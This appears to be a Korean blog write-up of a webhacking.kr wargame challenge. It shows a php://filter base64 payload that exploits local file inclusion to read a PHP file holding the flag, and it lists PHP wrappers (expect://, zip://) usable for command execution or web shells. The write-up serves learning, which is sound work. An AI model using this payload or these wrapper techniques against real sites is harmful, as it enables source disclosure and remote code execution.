< 문제 해결 >
그림 1과 같이 파라미터에 flag를 요청하면, "FLAG is in the code"라는 메시지가 출력된다. 하지만 페이지 내를 살펴보고, 패킷을 잡아봐도, flag에 대한 아무런 단서가 보이지 않았다. 이 문제는 PHP-include 함수, PHP-Wrapper, LFI 취약점( 서버 로컬 파일을 include 하는 취약점 )과 관련이 있다.
해당 문제에서는 아래 코드1과 같이, php://filter/ 를 사용해 해결하였다.
<코드 1>
http://webhacking.kr:10001/?file=php://filter/convert.base64-encode/resource=flag
그림 2와 같이 php-wrapper를 사용하여, base64로 인코딩 된 결과를 출력하게끔 만들었다. 해당 결과를 디코딩 해준다면, 아래 코드 2와 같은 php 코드를 볼 수 있으며, FLAG를 획득하게 된다.
< 코드 2>
<?php
echo "FLAG is in the code";
$flag = "FLAG{this_is_your_first_flag}";
?>
< 주요 PHP Wrapper >
1. expect:// -> system command 실행 가능.
2. php://filter
3. zip:// : 압축을 풀고 그 안에 있는 파일의 코드 실행. (ex. 웹쉘 )
한줄 평: PHP-Wrapper..? 전혀 몰랐다.
< 참고 >
https://www.php.net/manual/en/wrappers.php